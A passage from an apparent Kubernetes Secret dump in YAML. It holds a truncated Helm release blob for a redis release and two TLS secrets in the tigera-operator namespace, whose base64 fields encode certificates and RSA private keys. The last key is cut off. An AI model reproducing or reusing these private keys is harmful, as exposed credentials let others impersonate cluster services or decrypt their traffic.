K3doSVJycVRoSCszRTlpWHdwaXFEOWo5cG1vN2RESlo2M1RvWE8vTDUzbmR5Z2U4VGdYU0h3aTV6a2hNWmZsT0l5K2w2QmNtU0MveDV3OGtwOENCNnNNMGp5THBWblFodzh2NGdZR0lkTTloRDJITkVXU2RlMzdESEdidUh2SUNHUGNCUVBjVWp4c2ZGRUM1U0hEMnpJWGpDNGlTQTZ1TjM0ek9YODJLNVhMQ2l1elVod1RvL0hVaDBKRStCK2Frc1B2SHVIZ1lpR1NEQUdJY3BuMDltRlBydmJuSWRSMFBBdDhodnNYL1dFQzRyQUtKY0JuTUVNN0JQd1d1RDlnSmZmOWYzNjQwNnFoVlRaTTFlM1cyU1hJdVZyZVo4L1JsKzJtcXJPa3NpcEtJNDJ0MTBWSWJseS9zYW9hWTdFTDQzSitpM2tZVEtneGhUTCsrYys3K2FRLy91M3lWVi9IUGlkS3lLeUV2aUlCRnBxVnhGbjViSDYyaktZWUNqdy8rZkpMS1BndTNwc2ZlNVQvcFhvSmtKR0tHd0prWWdISTd3eVIxQ2Z0akNiOTRmUnkyQjhrZW83LytIT3A2dUtOdk84dlh1U0o5ZEd6VytiK0lrRmdjOXNDL3ZWZFJweGVocWc5VktDNytDYmJudVBNd3ozWmM3Y1RQT2Z4VGIwN1Bmbnl0dCs3R1BRbmszQjM3K0tzRVF3U01pS1NhR2orWWlsWW5KODhDN0dvK0ZRY1BleGQ5WDM5U0s1b3V0L3p3UFdXVmRqcWdCQ25XdlBFclhscU9wNnZRMzU0c3NYc1g1QSsrcXZQVlB1N29tMkcvMkhPS01aZmFCbTNORWVIK1NnT00vQU9XdXVVMGloOGdQNXovMjBJK0lNUFpVd3A4NmdKdmdNTzhLdDA5ZEhsRXhkcDlVOVlpNlFkZVA3Z1hoOFdTUGhTbUowZ2p4M3k3L0kreE03MjN6dzhTU244WHhhbEpOWjcvekRsL2tzNDM1YVhsUlhmb3dCbTkvV2JMK3FKbE5ucThveFgydkZkWHFzbU0veWxpNGFNZ2k2TzNWYXFsb1Bsa3FaYlRoU1d4WXRYZy9nUDh5WElheGIxbjFQdzl1RGxTeXpMUWVWcWZ4QWh4K3JZdk9yWUhDQVJLb0ZUN0V3NXRtMWk2dEwzaUVaalFhaHg5V3liVUNJMzN3Wnc2b2N5QzNRejlSem5tOEh3MFF0MEh3ZXh4NHJjZ29yY0kyakZJZXUybjVYRnJrOHVDYU01dU1XdUsyS2w1Uk9KSmRpZU16aytTRGpZNUlacUhWU1NjN2dscXN1M1JFakdOd095SnJLTGpNcjMrMHhCamN1M1hjT0NBTXh6TFN4aElqbVdzTndFUTlWS08yYU9RK2p5eHFmd2RUbkFZVGpGT0piOFVzTGtkQStZOFA1STJYdDU5a1hNWHFnNVlMMTlVa3FaOU5VenZocm1Dc3lQd2x0dmkycTdxTlBvMU9zQXRRWTJPdGl1dFV5d0xhUFJ0STJPMWFtQjBXaEJvOVUyRGN0czFyQlpNVXhvMVJvWU9yVktwN0pvTmRxVkhPbTZ1cTJMc0cxWDZ4MmpaclVyUnIzV0JGeHZkcXkyVld2VkYxWExXdFRBckp2MUdrQUxMNnIxWnJObU5leTJiUnZZV0RRN0hRTjNja1FITnkxZHRLaFhheFdyMVRHcW5WYWxVcXZXMnBWMm83MW90bTFzdDF1THB0RXlqSHA5MGVuVUtzMm1EWTJhMmNLMWF0M0dsbDJ2TFdyTlBObCtEWGNYMmRVcVhsUnNvMm9aQzhOcTExb1dibHB0QzZ0UmR3eG9OcUhUTWV1TENsaVZSYzAwekZaN1lUWHhvbXJpdGxsclYrdkJuVnFvd1g0S01QaGJnT2x4SWpldkdKWHdXY2EyeGhadk9QTmNwY3NWSTlQOGFvWHBFa0kvMVhNKzRVME1abjVaSmF5QlN1ejQ1S0tMM24rSWZkOElVenFKUnBGNEN6RE1OY00ranZaNVBCQ1FocjR5bnJPMWV0blc3WEpvQ2lwSkxwWEx3UWJPd2Jyd09LSExpYmtDeTFQMjRISkpXZFRjL3d5bUZ5c2ZqVCswaTNxZkFsOTNzK2xWMzF5a1hpQW1mL0tNYVBMbkFBdXpteTNYZ3V4bUtWVC83WTlrTG5QWWN2UGZzT21pSkhlWVZFa3pmUUt5WE1rdWlzRlFSU2s3ZDFLWFBRY2dHUkQ2VVhTUjVGNGtXd0pmRStvYnBEY2NtM0FObkRCckFpYWpsdWlpV21SR1RFWWxKaFI0OHRGa3dlS1FOVjc2N1VzaUpOK1VqVk9MbVIrQnEra2w4aEpkUDNxUkdkNXJ6M0ZDdFpxVkx1MGhrOWNjQkZBWlQxM3ZVbHgvWnh5SGZicm01Slk0c0lTK01MR2pLNXFUR2hKZVFyaDRRUndpQ1dReFpYSG1aaHJMcURjWUpCczVZR3RFbmMyWU1mbWFPQ0EyUXNJNnVlWUJwVWQ3K2JZbCtqcGtWTWtwNUw0UndQT1loZHBwNy9QSTFYNG1lQ0tiV0RTRjBHdk9iT0pBWmxxQmovZW9KR3U0QUJ0N1RtS0RnZ0x2akY3SGJxeGlXOENYSWtOWkJqUERIRTlaQmQ3a1RGK1BKWC9iVmgvRUpBQzl6WFNpb2ZueWNqcnNYVjNPTC9vdmI5NmtaM3FMSGM4UFpqVWNTdmtpZEJKdjNMOGVYTDdxVFM5SHcvblY2S0pmSUN0UDMwTkJ2Y0ZnOUc3ZXY3cWUvdSsyeEtsb1NKVHRIay9pK3FCUVNrNG1VTHZUNE1WSDlBcG9kMmZUd1dUZUgvWmVEdnAvWU1DajhiU1EyVCtUSmRqVEQ3UjMycHVFaGJyT25QSjhueEtVcjF4enRraGpYdGxQZ3AwTGNQQW1zbjNWU3BMSVRackdSdkxyMzlDSWd0SXNSaTNrTUxvRWp1UUswMUJib29JMXNXS2VZeWtuZWd0VW9pVlEwTThmRUxQUnY5aDZRUUM1bkprZ0JJalRaQ2VCakdnTXpaUmVlNlppbTY0NGlCVnpySVNyOEtNV1RCeVBRNHdnTlF2NEhBdU9kdXY3RHAwdlZIUGRQQ3NGa1doQllSSnFKSkVRVlYxOW82MUxyMnIxWjFqVmJMRWJNdExMS3Z4Y1FsckpISFYyelhwQTAvVzZ5R2hVMXVrUDRLNWdEUnc3WlhYMDlmMSs5UTFKVTYxaHpmaW1pNHhPOVlxa2ZlYnZIb2pDTGl0N2RkbW9YQlgzV1cwblA5NHl4MXZEbFlxWWkweE13dlZrQkN2T2E2ek9VdmY3clh6NTI1ZEdSWUx6S0JJR2NHdTc5eHhlMHY3dmtyeDlJWll2TmZzOTVOY24yTU5HRkx0UnpSY0thMWR1eWhiaGg4a0ZhWjZsT1lTMzBQVFlkZjFLdzZ6WWczcVZhN2V3QzdsMjQrd2FkWG54Y3lGZXpMRElNWVhTZ2lMSFdMeXF3N1lyWmtFWFZWcU5ScmJUTEw3MjZTMFBsWHQwVmd6WVZEU3ZUdnFaYUpWRC9DaWNjZ0FTMWxrbC9xaU9WYnUxeFBYM3FJaW1HTS83ckZMbVhlTWV5UEliTHdnUDQzVU5sMWNPSnV0cG1PYU5FdHpwMndndEl2Z2ZROExuci9LM3JZaVFKSk9hUXpzVTM4a2VzQTg2VnU5OW1EN2dDSjNJM3lDRWZlZXNvSmNjcDNLSVk4RFdPMDRraktpWmlPN3pYVitCSDRwY3pLelVma1AydUJDUExwQytRVEwrZUp0VWNKdTB6Y2ZYZnF4OGZPdy84amdtNVArTWhIeHN3WThaK1dORy91RVorVFNRamluNUh5TWxuOXEzWTA3K21KTS81dVQvVUU1Kys0RGwrMHpLNTJwOFVsS3NYcmhReVBZYXRsdzUzZk1ody8xZHhpcVJEMGlQL3d5M0Nua1BJWTQzR2ZmZVpQZzY1N2w1MmZCc0tycGEzU05mYnV6T2w2Yy8zNXNSVDJmVTB3bDMwNTBvMXlNelpzN05GdUw5Q1hjM1QrQmFKZm5DL0hqRDh2ZzNMS2tWUGw2MkhDOWJudHBseS9HdTVYalhjcnhyK2FIdldsSW5wZS9nc3FYMGF5bklCWmU2eHErbDZOS2oxTlYzSHFXN2Z3Y0FBUC8vVXFHdU5qNkFEUUE9
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      modifiedAt: "1760872545"
      name: redis
      owner: helm
      status: deployed
      version: "1"
    name: sh.helm.release.v1.redis.v1
    namespace: redis
    resourceVersion: "6769142"
    uid: 2c13c4b9-1bfb-4eb2-805f-e01299e4a077
  type: helm.sh/release.v1
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUR0RENDQXB5Z0F3SUJBZ0lJUTlib2xRU2tvYWd3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpJMk5EQmFGdzB5T0RBeApNakl4TmpJMk5ERmFNQk14RVRBUEJnTlZCQU1UQ0dkdmJHUnRZVzVsTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGCkFBT0NBUThBTUlJQkNnS0NBUUVBcVNvODE5UEhTVElSRE9pNDkxazQrNld3bzRweVRCOGFLblNsL2dlK25pWFMKMGVwWlY5N3d1WW56c1dXRVB0QWNoaDZqM2wwMjV6a0FpSGJiY3U3cWFKYW9sTEJmRjZsRllHWFhXYkdHZFZHegpSaTVaQ0dPRjJNZkxFeC9BUnZqZ1NhTUFCR09hNk84cTA4SjZkUnVaQ0pRbWRjQVV2dk5jaTRXM0lsK25nM2srCmR2TklzL1M1ZW9xbGtGQmUzTlJ2RlNES0xlZWtyMWZXditxZ3hsdnVIY2lZVE9DUnRjWDBaNmlOeENYa3BLZjQKeFRscDVVUG1wOHEraDB2U0xxOEYzelc5Y25saTBaZzk2TG1TSGhCYjVqejFyZ3YwZi9YMzRydVpKTE9kRGVjOQpuSUdJbnV2ODNXSThPU2owYmY4TER4N2JCdG85cXh2OThmYjVqd0hQdndJREFRQUJvNEg5TUlINk1BNEdBMVVkCkR3RUIvd1FFQXdJRm9EQW5CZ05WSFNVRUlEQWVCZ2dyQmdFRkJRY0RBUVlJS3dZQkJRVUhBd0VHQ0NzR0FRVUYKQndNQ01Bd0dBMVVkRXdFQi93UUNNQUF3SFFZRFZSME9CQllFRlBvejJKelBYVG1DdlRoQWxGcDUyY013UGkycgpNQjhHQTFVZEl3UVlNQmFBRkxjSzVsdEF0ZklxcjZjK3ZjcVI2cWhseUdTak1IRUdBMVVkRVFScU1HaUNDR2R2CmJHUnRZVzVsZ2habmIyeGtiV0Z1WlM1allXeHBZMjh0YzNsemRHVnRnaHBuYjJ4a2JXRnVaUzVqWVd4cFkyOHQKYzNsemRHVnRMbk4yWTRJb1oyOXNaRzFoYm1VdVkyRnNhV052TFhONWMzUmxiUzV6ZG1NdVkyeDFjM1JsY2k1cwpiMk5oYkRBTkJna3Foa2lHOXcwQkFRc0ZBQU9DQVFFQWFEekFINHEwRFQ3SHF1SWZoTDhCSS9qVGdha21qN1NRCnhyQjN2VlFzVWF5Z1NkbUg0TzRWbUUzK0VhVGVzakl1SE9uZmJyaG1KYXFaNFREcW1BcW1hMFhCekQwWlZXNmIKWndES252ZU4vQXVnb3hINkNaamQzaGRkSHl3ek9Rb1liQ0lFNzZRQmNYOSs0TWFlSTVkZWxuTnZqakozU3NjYwoxWkR0S002WEhCVXVtSlNaZUtuYTRIUEp3WVo5UHRSNllwNThMUVpUTjZnK1pDcGVoSWRlWlpjRkJhWlBCbTRMCnMybng2VmI4Vnc0Nm1FYnJWd1ZHd3haeG90KzFhZlBJKzh5MG5EbmlNTUVwbXhwZzFLZzhCc25KL0l5V3pxSm8KM1Nac05Ca1ZtMU9JUWVobDlEc2xRMGVrWEoreVRmRjJ1QXZuS1JXcEZ4aUxTTG5tSmE1V2hnPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJREtUQ0NBaEdnQXdJQkFnSUlCQWsxSlV5UzZ0WXdEUVlKS29aSWh2Y05BUUVMQlFBd0lURWZNQjBHQTFVRQpBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQWdGdzB5TlRFd01Ua3hOakV5TWpGYUdBOHlNVEkxCk1Ea3lOVEUyTVRJeU1sb3dJVEVmTUIwR0ExVUVBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQ0MKQVNJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFJaWRNY3pkYm00N1NtaTVWb0VJTGVCMgpCRXdLU252L3NPMXlUeVN5NE8zUDhHaTVYK2pjWDdydWNJWWNwVG9Vbjk2bFJzeVI2cmdGOStiTFFPZVo3clR1CjNJdFZZUmtONVVJQTB5REpuOWhEdXZjMzJZWHZkS1l1Tlp6VlJxYTB6UnovOXBKWVE5LzJjbDkwSHdBZHZvdDgKQVZoZnhQUGFPY2dpUGszaERhbEtJdG5xa2loSDdQWXU2cm03MTRLUHl3R2VQaDllN3AxK0dSYWRscFpPQ3VHKwpHSUZuMDdUT0FiVENuRU9IME5IMjRDVUhSaVljeUtZVUZQMnZYMjFUR3cwa1cxYjZQbFhkMUwreUZLMisvMVBtCmQ0a2JBMk1IZVBEYnpOZklSVlBkaUlqM3JpRGI0dkcrRlVrZWhzbHdJK2VJWS9sejV0MUpITjdRNkF3Qk10RUMKQXdFQUFhTmpNR0V3RGdZRFZSMFBBUUgvQkFRREFnS2tNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwTwpCQllFRkxjSzVsdEF0ZklxcjZjK3ZjcVI2cWhseUdTak1COEdBMVVkSXdRWU1CYUFGTGNLNWx0QXRmSXFyNmMrCnZjcVI2cWhseUdTak1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQm0rc0hqcllBbys5TndIMjE0Qk4zenFpckEKWlp3OFRGMjYwbHM4MXpreDNqQkZDTXZsWG9UdGhGaEU1VEEzSE5SN3NGeTBsYlRvamQ2bDZNUVhwekZaODBJTQpDMCtyTTVDQzZiVmpiSy8raUFxVnJ6aDhUR1ZsNVJsMmFJUEhKLzNqc3A3N0NJRW5yQkh1N2tEbG1VWVVsTTZOCm94YzduczBZNG1Yd01rTnlsRVJNRW1QeVI0aHlrMzVocDVNdEcxKzNBNFV0V0hlZm9XRGFmcWtYeVBxRG40ekkKOTM0VDBNQkF3SkVaQ1ZvbWtkTko2SkNWcFZqMFZNY0R3cWU0ZnBnYUF3U01qcGEyRVh3dVFwSGRCMFpRK3RCVwp6MGxGTjhkY1ZPd0xwZEc3T1RRMXJXQ21QK28zTEJ5cENJRjJneFA4ZGwydkc0dm9MN0lrWCtmWnV6ZWUKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBcVNvODE5UEhTVElSRE9pNDkxazQrNld3bzRweVRCOGFLblNsL2dlK25pWFMwZXBaClY5N3d1WW56c1dXRVB0QWNoaDZqM2wwMjV6a0FpSGJiY3U3cWFKYW9sTEJmRjZsRllHWFhXYkdHZFZHelJpNVoKQ0dPRjJNZkxFeC9BUnZqZ1NhTUFCR09hNk84cTA4SjZkUnVaQ0pRbWRjQVV2dk5jaTRXM0lsK25nM2srZHZOSQpzL1M1ZW9xbGtGQmUzTlJ2RlNES0xlZWtyMWZXditxZ3hsdnVIY2lZVE9DUnRjWDBaNmlOeENYa3BLZjR4VGxwCjVVUG1wOHEraDB2U0xxOEYzelc5Y25saTBaZzk2TG1TSGhCYjVqejFyZ3YwZi9YMzRydVpKTE9kRGVjOW5JR0kKbnV2ODNXSThPU2owYmY4TER4N2JCdG85cXh2OThmYjVqd0hQdndJREFRQUJBb0lCQUM3UGNFeXMzcTJEZkRKZApSNm15ZDlFeTFVRTc4MHJiSkd0eEllbThqT1BJUmFFdXZ4QlFzYjQxelVoZWRnekhtODBGTjRVMXVCYWRzR2NTCnRNRUdHYmxkVDBMdDF6Sjk5YU9xS3NBNEhxUGlPc0NGM0w4MGd2b3N0eVlRbUMxTGV3MEZYT0RhQ3lpLzNkTUIKTXMrckZscklYQ2dqUWRwaEQwL1FiWS9HZGwwcndTQUhNTUU2M0RsU3BYbGg0dEVwRDdSbzFUNGlybFFXczFKZQp4NVEwMXl3ZGZtLzZBL0VJMzJBOWpvQ1VtRmQvQjZzUmxYb3ZlNEZnZndQbEo2VEN3SVZwdEZHTnllUTJWMWw3Cm1qUmFUeHlJaStGaE80ZGo5ZCtNcUpaajJtVjFSSlhlalJKUXZJNStRWENhbDRwWnB2T21aRk8vN3JZeEhGREUKSDNCNDZwRUNnWUVBNHhaaFIwN1NRajRnQnNkZEV6ODRrK3U3NEhFU1BabXMrRnkzSmJlMy9YQUxQbmJ0YXkzSApUdnhVdzNnc2FOT0Y1S2JrRXNWQUlLTG9yV2gyMWVLSW0xQkdmMWQvNG9EKy9UWHJGa09TRDRBbEl4emc1cnVICmFjOWVyQjVNRHZLblBQdDJGZEpWZFBHMFZickVsamVTM0d1TTlpOSt3RjVZUVBxQVNaMUN3cWNDZ1lFQXZyUHoKZnZ0M0R3TXRNRkw1bHFTMkI1dUF6OVdtdHA2UlFYOVZZNDI4OHZBYTluYlFOclUyUmQwMGNRSkpLK3JHKzhReQphS1dPVkhEZmhUak52SHFINHJwK2tkY0VXYlRrVzU3dWNwZ0RJSEZWb2RhbHNxcHNNWjdXMFpGcWhjWDk4NUhNCkVSMnN6dS9OemVRU1daanNlejU5OHFVZ3M5UmVaMkdIRm11dHBTa0NnWUVBd0xwc3d6MUZPNDFJVnhoNmlPdysKRTJTZFprWHdxakV6MlBHdlNxYWEwOUIwNm9XNnlCenBLOE1DR1lkemdXQU1JZHYyYzJ2UEdpUEkvK3RKK0Fxegp6OFVZbjlqZUk1bEJVQnVqc3BpVWJPMWdGMlhhQmxrZit4QlJGQmoraWkwcy9KZWFSN2prYUVUK3ZVZXVzcUxsCjFJYSs4dTJxVUkrQnJWd3M1czArTEw4Q2dZQmpRc2M3RVNpblo3L2RwMUxDVm5sby9FZlA1aVVnYU9peWJ0VEQKUE1OY3NCMVlxLzgwZXA0RlAxNU1kQ1FoOTlJYXVjU0RNNmtoeXA2TmVVT2RGeW9qbVc3SCttTUpUbDZPVWV0TApPbFJtVHBlRDVYWFp5VnNIZU9YWHJ4a0RDRXRtdkR5N3EvYUd2OHNmbjlidFMrdkxPbnZVRUo4MCt4VW9PbHRXCkVEWVNBUUtCZ1FEWG9uMEZnbHEyaWR2SlIwNlQvS1VVamZ2V3g3UEN3MlJpbnZwYksxWWhoVmtuQWpzNmlhaloKTVFtMFdFWWd6VjZNQzFOTHE0cUhDQ0xEOXVkaXRpd0lKSEgzYnpzS0VVTktnSDNBUkl2Z2tLM3VJQm5iZ0VVNAoxclJCRG9ObmkvSFJGV1k5TVJFQjFySGpvY1VyOVhWWmpXVlkyWWQwNk5IZHZHS2hmbDJsL3c9PQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:26:41Z"
    name: goldmane-key-pair
    namespace: tigera-operator
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "6825265"
    uid: 301aa3f4-7678-43d1-91d9-c1da1a9d329f
  type: Opaque
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURYakNDQWthZ0F3SUJBZ0lJTUlGcmxkN3YxTEl3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpFeU1qUmFGdzB5T0RBeApNakl4TmpFeU1qVmFNQmN4RlRBVEJnTlZCQU1UREhSNWNHaGhMV05zYVdWdWREQ0NBU0l3RFFZSktvWklodmNOCkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFKcnM2R01LSm5NbDdNeUc1SHRsZ0h6RThFOWhUblZPakJUNjZZaHoKQWQyWjc2eFM2Q2F5M3pmNGljS2NobCtzNXZ0eWhRMGtldGUwc3RwU3h0amRIa1ZGSUM2Z2YxVGRCOGV0bzJ6bwpPT2F0M2NXb0xZTXBaQ25pZFNCWjUwT3ZWRzUvYkQ5dzJPNDhlVXNSVlBCcGl4MmlUWlRheHpuZGEzU0xOSXRnCmtSaXg2aFZSUlc1akcxYjdiR0RjZEdvVStwTWVnNWdrZ2xiRm1MbEtvb0FBeGJ6WG4zN3RvREl0aHUvNUlBNEoKZGlzNVR1RFJQUHNrVThxYnhLR0M4T0g5SWwyKzRQenBRZmNMODhYUnVybE5vRW1LNFE2UE1UMzRkUGJQV3ovKwp4VnFQNmpSU2k3c29xVUxDZTFzdnlRS1JQemNzc0hCQi9hL2ltWnR6R2lhNERXTUNBd0VBQWFPQm96Q0JvREFPCkJnTlZIUThCQWY4RUJBTUNCYUF3SndZRFZSMGxCQ0F3SGdZSUt3WUJCUVVIQXdFR0NDc0dBUVVGQndNQkJnZ3IKQmdFRkJRY0RBakFNQmdOVkhSTUJBZjhFQWpBQU1CMEdBMVVkRGdRV0JCU2lmNVowZG1pbkpiNnVqdzRhZ0ZYQgpMOW4rL1RBZkJnTlZIU01FR0RBV2dCUzNDdVpiUUxYeUtxK25QcjNLa2Vxb1pjaGtvekFYQmdOVkhSRUVFREFPCmdneDBlWEJvWVMxamJHbGxiblF3RFFZSktvWklodmNOQVFFTEJRQURnZ0VCQUhkZXZNQjRlcVdoK2lCREtBRzUKbkV0K0REaGFjWEZUdWRsbGpLZjYyeVVKRm0xT1dnWnVSVTRMdS9NbTl3OWtFM05zaHFEdVVDT2hhbmN3OHR0WQpaZkdVK0toMm9uaDZuVTBDUHlIbU41SWNEVzZWUkVqSmtQTmFVWHRRcTBjMzNOR0RTc1BzT0tBbDI3bENXSzdxCkUxNEhaSjFVMkN6MmRJT1FmSnlyeTJrRmRpSzViaXNVY0RKanJqUGhQSk1mS2NzK0hIT1FSdlk1bENKdXpiR0oKaU05Z3ExRjZHMkx2WUhvYkt2TzZ3ZjB3RmRPWkN1YVNBNDlqWVR4UnJteG1CV1RYVnFyZXQ3K1J0N09walYzVApTaGlHWjRtQ2FiUzUzanNGMVhUV3FlczBOczZ6RlRlRG1ma3BnbEMvdXZQalZKR2Q1ODNRbEFiUExaL1dOWThJClBMaz0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJREtUQ0NBaEdnQXdJQkFnSUlCQWsxSlV5UzZ0WXdEUVlKS29aSWh2Y05BUUVMQlFBd0lURWZNQjBHQTFVRQpBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQWdGdzB5TlRFd01Ua3hOakV5TWpGYUdBOHlNVEkxCk1Ea3lOVEUyTVRJeU1sb3dJVEVmTUIwR0ExVUVBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQ0MKQVNJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFJaWRNY3pkYm00N1NtaTVWb0VJTGVCMgpCRXdLU252L3NPMXlUeVN5NE8zUDhHaTVYK2pjWDdydWNJWWNwVG9Vbjk2bFJzeVI2cmdGOStiTFFPZVo3clR1CjNJdFZZUmtONVVJQTB5REpuOWhEdXZjMzJZWHZkS1l1Tlp6VlJxYTB6UnovOXBKWVE5LzJjbDkwSHdBZHZvdDgKQVZoZnhQUGFPY2dpUGszaERhbEtJdG5xa2loSDdQWXU2cm03MTRLUHl3R2VQaDllN3AxK0dSYWRscFpPQ3VHKwpHSUZuMDdUT0FiVENuRU9IME5IMjRDVUhSaVljeUtZVUZQMnZYMjFUR3cwa1cxYjZQbFhkMUwreUZLMisvMVBtCmQ0a2JBMk1IZVBEYnpOZklSVlBkaUlqM3JpRGI0dkcrRlVrZWhzbHdJK2VJWS9sejV0MUpITjdRNkF3Qk10RUMKQXdFQUFhTmpNR0V3RGdZRFZSMFBBUUgvQkFRREFnS2tNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwTwpCQllFRkxjSzVsdEF0ZklxcjZjK3ZjcVI2cWhseUdTak1COEdBMVVkSXdRWU1CYUFGTGNLNWx0QXRmSXFyNmMrCnZjcVI2cWhseUdTak1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQm0rc0hqcllBbys5TndIMjE0Qk4zenFpckEKWlp3OFRGMjYwbHM4MXpreDNqQkZDTXZsWG9UdGhGaEU1VEEzSE5SN3NGeTBsYlRvamQ2bDZNUVhwekZaODBJTQpDMCtyTTVDQzZiVmpiSy8raUFxVnJ6aDhUR1ZsNVJsMmFJUEhKLzNqc3A3N0NJRW5yQkh1N2tEbG1VWVVsTTZOCm94YzduczBZNG1Yd01rTnlsRVJNRW1QeVI0aHlrMzVocDVNdEcxKzNBNFV0V0hlZm9XRGFmcWtYeVBxRG40ekkKOTM0VDBNQkF3SkVaQ1ZvbWtkTko2SkNWcFZqMFZNY0R3cWU0ZnBnYUF3U01qcGEyRVh3dVFwSGRCMFpRK3RCVwp6MGxGTjhkY1ZPd0xwZEc3T1RRMXJXQ21QK28zTEJ5cENJRjJneFA4ZGwydkc0dm9MN0lrWCtmWnV6ZWUKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBbXV6b1l3b21jeVhzeklia2UyV0FmTVR3VDJGT2RVNk1GUHJwaUhNQjNabnZyRkxvCkpyTGZOL2lKd3B5R1g2em0rM0tGRFNSNjE3U3kybExHMk4wZVJVVWdMcUIvVk4wSHg2MmpiT2c0NXEzZHhhZ3QKZ3lsa0tlSjFJRm5uUTY5VWJuOXNQM0RZN2p4NVN4RlU4R21MSGFKTmxOckhPZDFyZElzMGkyQ1JHTEhxRlZGRgpibU1iVnZ0c1lOeDBhaFQ2a3g2RG1DU0NWc1dZdVVxaWdBREZ2TmVmZnUyZ01pMkc3L2tnRGdsMkt6bE80TkU4Cit5UlR5cHZFb1lMdzRmMGlYYjdnL09sQjl3dnp4ZEc2dVUyZ1NZcmhEbzh4UGZoMDlzOWJQLzdGV28vcU5GS0wKdXlpcFFzSjdXeS9KQXBFL055eXdjRUg5citLWm0zTWFKcmdOWXdJREFRQUJBb0lCQUE4eEF6U1FUcEdQVUNJRQp2dFlrR2k1TWpXMUFreFh6cHM3T2hTUitkUzlmK2QyQm43RmViQ21yM2E1UFNqODFlc3pWNmtWalQxeGtJLzdwCk5sc1dOa2YvN1paRTRnSXJUbE9wSzM1R3VJQlRpamM5MzRDZUNCYXlBRjdmWjByK3lwNVoyNmtqalZJSEYxOE0KdGJIV3JPL2NvTDQ0N3hJMTFtU1kyeS9UbEp3VzBhaUpORGM1Q3dHLzdzRDl5NFFvTUxPR285dlNHRG1LU0paawoxSGcxQ0JWeVB6YTBhSytUZXUrcVZoeVdVendCM3p4a0l1Q2NFbWhMeUV6eC9HdjVleEFrZmFKMjZKa2FqdGVHCnBOblZLNjBtamd4N3hZQnFCWUhpZFRFYVI0QzFPandqUExJVEIyMFpBaEtvaWJwN01JSTd1dGtyWVFqb3RlNkQKU2FxT0cva0NnWUVBemloQlZqYjZOWlo4NWZpMDBuMWhLbC9CMVJlb2xrZmxqSSt3b3hrRGtka2dISmlhTlY3dwoycjFLVHJOSE5pTFFQSTRlNDBTckFtRlIySkhmdE9BTXdsWXBVQUM4TDljekRQYUtBZDRBM2xNV0lpNnMzTWxTCjVQSFNtaFJ5MUVWaXpKUXl5ZUw3UEV5SGRCdnlwamQySzBBYzN6MHByQ3A5czZGRzZzNWN4a1VDZ1lFQXdHRy8KWlZBK2I3TUV6a0xMRXJQWForVDlxRUY5NWhqa3hRY3hidkVlNUhiQWdGTllnRER3S3J6NE96Y2d2NW53MHNLOQpvOUZyRysvRWtTT3d1V1plb0d0MU02YWdWemFGWk4vUndKNTB1NXBLN0V5b05hc1JqRTRndGRJd1ZaM0NKUkxWClRBS1p2eUFZSTJ5bmVEYm56ekR2SXBOUkVENnJMUEZtWU5xNDg0Y0NnWUI0V01PYmdzaVowOW5obmtoZ3dGU2kKbWZmYlg4NUl2SHZpakZjL1B2RDRpVm5YbDdZZUJlaHdxU1Bod1lLR3RkZitJYkVpVnduRmYrNTVrTjZaQmxvcwpjSVA1Y2hScGtTVDZJa242UVJFY3VFQXBnRG5sUVpta2tRNnlaOUdJM1dDSnNOSGRUU1lBMDJRWGdlRXE2eUdPCnFnU3d4Vkc0Y2EyajJUZy9CbXplU1FLQmdBTEE0MlpsMFo3enB2djB4TWROdjZXREI0WmkrWlJUZ3VLM0NhUVcKMjJSVnRzZWZhY0xiOEhRTUpGbGtucGxmY0t6emtKZEpwZ2pPVTdmb0ZOMXljNlJFSlhkSnlUMjJVQTV6amFMKwpJWm1WeWNDOEVDUkVnSW5MakhoTnU5ZGQzS3QvSzRKYy95cFhJVUZRaXMwVHJCbXhENXNsRktIdzQ2NU8vaklnCnIwajlBb0dCQU1EWDRydTUwUHNIaVJmbWRXbks4ZWtac2ZKYTBZWklLVlk4Z1BORjkxbzZTZUw1NDVNWXpEdVgKcnlzcmt4TXFUMjlydTE3cWlpZ2JWQk50RXV4NF